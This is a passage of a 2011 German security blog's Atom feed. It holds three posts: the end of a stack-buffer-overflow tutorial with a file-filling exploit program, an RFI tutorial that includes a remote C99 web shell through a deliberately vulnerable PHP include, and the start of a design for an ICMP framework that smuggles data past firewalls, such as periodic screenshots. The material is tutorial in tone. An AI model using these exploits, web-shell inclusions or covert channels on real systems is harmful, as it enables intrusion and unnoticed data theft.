style="color: #993333;"&gt;struct&lt;/span&gt; sockaddr_in addr&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #993333;"&gt;char&lt;/span&gt; file_line&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;60&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  ....&lt;br /&gt;  &lt;span style="color: #202020;"&gt;FILE&lt;/span&gt; &lt;span style="color: #339933;"&gt;*&lt;/span&gt;fp &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fopen&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"prefs.cfg"&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;"r"&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #b1b100;"&gt;for&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;i &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; i &lt;span style="color: #339933;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #339933;"&gt;----&amp;gt;&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;65&lt;/span&gt;&lt;span style="color: #339933;"&gt;&amp;lt;-----;&lt;/span&gt; i&lt;span style="color: #339933;"&gt;++&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;    file_line&lt;span style="color: #009900;"&gt;[&lt;/span&gt;i&lt;span style="color: #009900;"&gt;]&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; getc&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fp&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  fclose&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fp&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Klingelts? Wir können die ersten vier Bytes von sockaddr_in addr überschreiben&lt;br /&gt;indem wir die Datei prefs.cfg mit 65 Bytes füllen (Wir können gottseidank Nullbytes&lt;br /&gt;verwenden).&lt;br /&gt;Was nützt uns das?&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="c" style="font-family: monospace;"&gt;...&lt;br /&gt;  &lt;span style="color: #202020;"&gt;addr&lt;/span&gt;.&lt;span style="color: #202020;"&gt;sin_addr&lt;/span&gt;.&lt;span style="color: #202020;"&gt;s_addr&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; INADDR_ANY&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt; &lt;span style="color: #339933;"&gt;---&amp;gt;&amp;gt;&lt;/span&gt;addr.&lt;span style="color: #202020;"&gt;sin_port&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; htons&lt;span style="color: #009900;"&gt;(&lt;/span&gt;atoi&lt;span style="color: #009900;"&gt;(&lt;/span&gt;argv&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;1&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt; addr.&lt;span style="color: #202020;"&gt;sin_family&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; AF_INET&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  ...&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;In addr stehen alle wichtigen Daten zur Verbindung für den Server.&lt;br /&gt;Somit auch der Port! Nun müssen wir herausfinden wie diese vier Bytes&lt;br /&gt;aussehen wenn wir z.b auf Port 21 lauschen wollen.&lt;br /&gt;Dazu schreiben wir uns ein kleines Hilfprogramm welches wir Lokal ausführen:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="c" style="font-family: monospace;"&gt;&lt;span style="color: #339933;"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;sys/types.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;sys/socket.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;netinet/in.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;arpa/inet.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #993333;"&gt;int&lt;/span&gt; main &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt; &lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #993333;"&gt;struct&lt;/span&gt; sockaddr_in addr&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   memset&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #339933;"&gt;&amp;amp;&lt;/span&gt;addr&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #208080;"&gt;0x0&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #993333;"&gt;sizeof&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;addr&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   addr.&lt;span style="color: #202020;"&gt;sin_addr&lt;/span&gt;.&lt;span style="color: #202020;"&gt;s_addr&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; INADDR_ANY&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   addr.&lt;span style="color: #202020;"&gt;sin_port&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; htons&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;21&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   addr.&lt;span style="color: #202020;"&gt;sin_family&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; AF_INET&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #000066;"&gt;printf&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"%x&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; addr&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;return&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Dies gibt aus: 0×15000002&lt;br /&gt;Das bedeutet: 0×1500 = Rückgabe von htons()&lt;br /&gt;0×00 = Irgendwie zwingend vielleicht noch ein anderer Sinn.&lt;br /&gt;0×02 = Die sin_family.&lt;br /&gt;Somit brauchen wir uns nur noch ein Programm schreiben was uns die&lt;br /&gt;pref.cfg entsprechend füllt und unser Victim starten.&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="c" style="font-family: monospace;"&gt;&lt;span style="color: #339933;"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #339933;"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;  &lt;span style="color: #993333;"&gt;int&lt;/span&gt; main &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #993333;"&gt;char&lt;/span&gt; buffer&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;66&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   memset&lt;span style="color: #009900;"&gt;(&lt;/span&gt;buffer&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;'a'&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;64&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;    buffer&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;60&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #208080;"&gt;0x02&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   buffer&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;61&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #208080;"&gt;0x00&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   buffer&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;62&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #208080;"&gt;0x00&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   buffer&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: #0000dd;"&gt;63&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt; &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #208080;"&gt;0x15&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   FILE &lt;span style="color: #339933;"&gt;*&lt;/span&gt;fp &lt;span style="color: #339933;"&gt;=&lt;/span&gt; fopen&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"prefs.cfg"&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; &lt;span style="color: red;"&gt;"w"&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #993333;"&gt;int&lt;/span&gt; i&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   &lt;span style="color: #b1b100;"&gt;for&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;i &lt;span style="color: #339933;"&gt;=&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; i &lt;span style="color: #339933;"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;65&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt; i&lt;span style="color: #339933;"&gt;++&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;    putc&lt;span style="color: #009900;"&gt;(&lt;/span&gt;buffer&lt;span style="color: #009900;"&gt;[&lt;/span&gt;i&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #339933;"&gt;,&lt;/span&gt; fp&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;   fclose&lt;span style="color: #009900;"&gt;(&lt;/span&gt;fp&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Hier unser finaler Log:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;./filler&lt;br /&gt;  ./victim 5555&lt;br /&gt;  [PACKETE AUF PORT 21]&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Ich hoffe dieser wichtige Abschnitt war verständlich.&lt;br /&gt;&lt;br /&gt;~fred&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-9068909875550916253?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/9068909875550916253/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/advanced-stack-bufferoverflows.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/9068909875550916253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/9068909875550916253'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/advanced-stack-bufferoverflows.html' title='Advanced Stack-Bufferoverflows'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-1480850318736261875</id><published>2011-04-09T09:09:00.000-07:00</published><updated>2011-04-10T00:09:23.054-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>RFI (Remote File Inclusion)</title><content type='html'>Heute versuche ich euch ein bisschen etwas zu einer &lt;b&gt;RFI&lt;/b&gt; (&lt;b&gt;Remote File Inclusion&lt;/b&gt;) zu erlaeutern,&amp;nbsp; &lt;br /&gt;LFI (Local File Inclusion) wird, sobald ich Zeit finde, ebenfalls drankommen!&lt;br /&gt;&lt;br /&gt;&lt;i&gt;Was ist RFI überhaupt, und was ist die Gefahr bei solch einer Lücke?&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Eine RFI Luecke kann ganz einfach entstehen, wenn man versucht, etwas auf einer Page zu inkludieren.Da sich das so mager anhört, versuch  ich das in einem Source Beispiel zu erklären. Erstellen wir uns mal eine  rfi.php Datei mit etwa diesem Inhalt:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;&lt;span style="color: black; font-weight: bold;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&lt;span style="color: #b1b100;"&gt;if&lt;/span&gt; &lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #990000;"&gt;isset&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$_GET&lt;/span&gt;&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: blue;"&gt;'file'&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #b1b100;"&gt;include&lt;/span&gt;&lt;span style="color: #009900;"&gt;(&lt;/span&gt;&lt;span style="color: #000088;"&gt;$_GET&lt;/span&gt;&lt;span style="color: #009900;"&gt;[&lt;/span&gt;&lt;span style="color: blue;"&gt;'file'&lt;/span&gt;&lt;span style="color: #009900;"&gt;]&lt;/span&gt;&lt;span style="color: #009900;"&gt;)&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #b1b100;"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #009900;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #b1b100;"&gt;echo&lt;/span&gt; &lt;span style="color: blue;"&gt;"Du hast kein File includet"&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #009900;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black; font-weight: bold;"&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Erinnert vielleicht ein&amp;nbsp; bisschen an den Source Code von XSS Lücken, da wieder  etwas über den GET Parameter uebergeben wird. Diesmal wollen wir den  Inhalt einer sich auf unserem Server befindenden PHP Datei einfügen.&lt;br /&gt;Dazu erstellen wir eine blub.php Datei mit etwa diesem Inhalt:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;&lt;span style="color: black; font-weight: bold;"&gt;&amp;lt;?php&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #b1b100;"&gt;echo&lt;/span&gt; &lt;span style="color: blue;"&gt;"Das ist eine includete PHP Datei"&lt;/span&gt;&lt;span style="color: #339933;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black; font-weight: bold;"&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Ganz simpler Echo Ausgabe Befehl, wie man sieht. Wenn man nun unsere URL aufruft (ich teste es wie immer auf localhost)&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;http://localhost/rfi.php&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Erscheint unser Error:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;Du hast kein File includet&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Dann wollen wir uns unsere blub.php includen:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;http&lt;span style="color: #339933;"&gt;:&lt;/span&gt;&lt;span style="color: #666666; font-style: italic;"&gt;//localhost/rfi.php?file=jap.php&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Wird&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="text" style="font-family: monospace;"&gt;Das ist eine includete PHP Datei&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;ausgegeben. D.h. unsere blub.php datei wurde dort eingefuegt bzw. ausgefuehrt.&lt;br /&gt;Nun da RFI Remote File Inclusion heißt, wird hier eine &lt;b&gt;externe page includiert&lt;/b&gt;, die nicht auf dem Webspace vorhanden ist, als Beispiel würde das dann so aussehen:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;http&lt;span style="color: #339933;"&gt;:&lt;/span&gt;&lt;span style="color: #666666; font-style: italic;"&gt;//localhost/rfi.php?file=http://www.google.de&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Wenn nun dort auf der Page Google.de angezeigt wird, dann ist eine RFI Luecke vorhanden.&lt;br /&gt;&lt;b&gt;Vorraussetzung für eine RFI ist, dass allow_url_fopen, allow_url_include und &lt;a href="http://www.phpbar.de/w/Register_globals"&gt;register_globals&lt;/a&gt; on sind.&lt;/b&gt;&lt;br /&gt;So nun brauchen wir ne Page mit einer C99.php shell als beispiel und  includen diese (diese shell sollte in einem Format gespeichert sein,  welches der Server nicht interpretiert sondern nur ausgibt, d.h. z.b.  als .txt).&lt;br /&gt;Sieht dann so aus:&lt;br /&gt;&lt;div class="wp_syntax"&gt;&lt;div class="code"&gt;&lt;pre class="php" style="font-family: monospace;"&gt;http&lt;span style="color: #339933;"&gt;:&lt;/span&gt;&lt;span style="color: #666666; font-style: italic;"&gt;//localhost/rfi.php?file=http://test.de/c99.txt&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;Und zu sehen ist dann eine includete shell, auf die ihr, wenn alles klappt, vollen Zugriff habt &lt;img alt=":)" class="wp-smiley" src="http://j0hnx3r.org/wp-includes/images/smilies/icon_smile.gif" /&gt; &lt;br /&gt;Wie das ganze bei einer LFI aussieht erzaehl ich euch das nächste  mal. Auch Sachen bezueglich Nullbyte werd ich noch ansprechen.&lt;br /&gt;&lt;br /&gt;~fred&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5398780886588725082-1480850318736261875?l=netzwerg.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://netzwerg.blogspot.com/feeds/1480850318736261875/comments/default' title='Kommentare zum Post'/><link rel='replies' type='text/html' href='http://netzwerg.blogspot.com/2011/04/heute-versuche-ich-euch-ein-bisschen.html#comment-form' title='0 Kommentare'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/1480850318736261875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5398780886588725082/posts/default/1480850318736261875'/><link rel='alternate' type='text/html' href='http://netzwerg.blogspot.com/2011/04/heute-versuche-ich-euch-ein-bisschen.html' title='RFI (Remote File Inclusion)'/><author><name>fredstyle</name><uri>http://www.blogger.com/profile/17355885305270743378</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5398780886588725082.post-1015900430717285599</id><published>2011-04-09T08:52:00.000-07:00</published><updated>2011-04-10T00:09:23.054-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Vorstellung der Senderseite des ICMPFrameworks</title><content type='html'>Guten Abend,&lt;br /&gt;&lt;br /&gt;Das Projekt ist dazu da, &lt;b&gt;Daten in eine Richtung durch Firewalls, Proxies, Router und dergleichen zu schleusen&lt;/b&gt;, denn während diese praktisch immer TCP Pakete und UDP Datagramme abfangen und filtern, fallen &lt;b&gt;ICMP Echo Requests (auch bekannt als Ping)&lt;/b&gt;  meist unter den Tisch. Abgesehen davon fallen solche Pakete als Ping  request/reply natürlich in einem etwaigen Sniffer weniger auf. Ein  solches ICMP-Paket bietet noch Platz für Nutzdaten, sodass man diese  meist unbemerkt (wenn es nicht zu viele Daten sind) versenden kann. Das  Problem hierbei ist vorrangig, dass &lt;b&gt;ICMP nicht gewährleistet, dass – und in welcher Reihenfolge – Pakete ankommen&lt;/b&gt;;  das muss das Framework also managen, und das möglichst ohne den User  damit zu behelligen. Aus diesem Grund habe ich (mit tatkräftiger  Unterstützung von f0Gx) ein Projektdesign entworfen, das ich im  Nachfolgenden vorstellen möchte.&lt;br /&gt;&lt;span id="more-85"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="wp-caption aligncenter" id="attachment_107" style="width: 567px;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ZDnamwdQeJQ/TaFONhXXBII/AAAAAAAAAAM/EDmCtBWjGMI/s1600/klassen.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="239" src="http://2.bp.blogspot.com/-ZDnamwdQeJQ/TaFONhXXBII/AAAAAAAAAAM/EDmCtBWjGMI/s320/klassen.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href="http://opcodez.files.wordpress.com/2010/09/klassen.png"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;Hier sehen wir also rechts das Herzstück des Frameworks, die &lt;b&gt;Klasse ICMPGateway, die für die Kommunikation mit dem Netzwerk verantwortlich ist&lt;/b&gt;.  Innerhalb dieser Klasse gibt es zwei Threads, einen receiveThread, der  genau das macht, was der Name verspricht. Er empfängt Bestätigungspakete  von der Gegenseite und leitet &lt;b&gt;das Nachsenden von fehlenden Paketen&lt;/b&gt; ein; das geschieht dann im resendThread. Links davon ist die Klasse DataSupply zu sehen, die als &lt;b&gt;Interface für verschiedene Daten-sendede Klassen&lt;/b&gt;  dient (hier nur PlainDataSender). ICMPGateway verwaltet die  DataSupplies um ihre Pakete zuverlässig zustellen zu können. Das  Zustellen der Pakete wird mit ICMPGateway::send eingeleitet. Diese &lt;b&gt;Funktion ist blockend bis alle Daten bei der Gegenseite angekommen sind.&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;Die DataSupply-Klasse hat einen internen Zwischenspeicher für Pakete,  auf die das ICMPGateway zugreift. Diese Storage lässt sich mit der  funktion insertData füllen und hinterher mit dispatchStorage dann via  ICMPGateway versenden.&lt;br /&gt;Schließlich gibt es noch die (Beispiel-)Klasse PlainDataSender. Sie  baut auf dem Framework auf und nutzt es um einfache Datenbuffer zu  versenden. Hierfür sind 2 Funktionen verfügbar: dispatch und store.  Store speichert daten in einem internen Speicher zwischen, bis dispatch  aufgerufen wird und die Daten versendet werden. Diese Klasse ist dank  dem Framework sehr einfach und greift nur auf die Funktionen von  DataSupply zurück.&lt;br /&gt;Ein weiteres Beispiel für eine solche Klasse, die das Framework nutzt  wäre vielleicht ScreenShotSender, welche beispielsweise in bestimmten  Intervallen Screenshots per ICMP an den Empfänger senden könnte. Da das  ganze Projekt für Multithreading ausgelegt ist, funktioniert das alles  auch simultan. Als kleiner Abschluss hier noch die Beispielsource von  PlainDataSender.&lt;br /&gt;&lt;span style="text-decoration: underline;"&gt;&lt;i&gt;PlainDataSender.h&lt;br /&gt;&lt;/i&gt;&lt;/span&gt; &lt;br /&gt;&lt;div class="syntaxhighlighter  cpp" id="highlighter_762917"&gt;&lt;div class="bar                        "&gt;&lt;div class="toolbar"&gt;&lt;a class="item viewSource" href="http://opcodez.wordpress.com/2010/09/26/vorstellung-der-senderseite-des-icmpframeworks/#viewSource" style="height: 16px; width: 16px;" title="zeige Quellcode"&gt;&lt;br /&gt;&lt;/a&gt;&lt;a class="item about" href="http://opcodez.wordpress.com/2010/09/26/vorstellung-der-senderseite-des-icmpframeworks/#about" style="height: 16px; width: 16px;" title="?"&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="lines"&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;01&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp preprocessor"&gt;#include "DataSupply.h"&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;02&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;03&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp preprocessor"&gt;#define PACKETSIZE 28&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;04&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;code class="cpp preprocessor"&gt;#define PLAINDATASENDER_ID 0&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt1"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class="number"&gt;&lt;code&gt;05&lt;/code&gt;&lt;/td&gt;&lt;td class="content"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class="line alt2"&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td 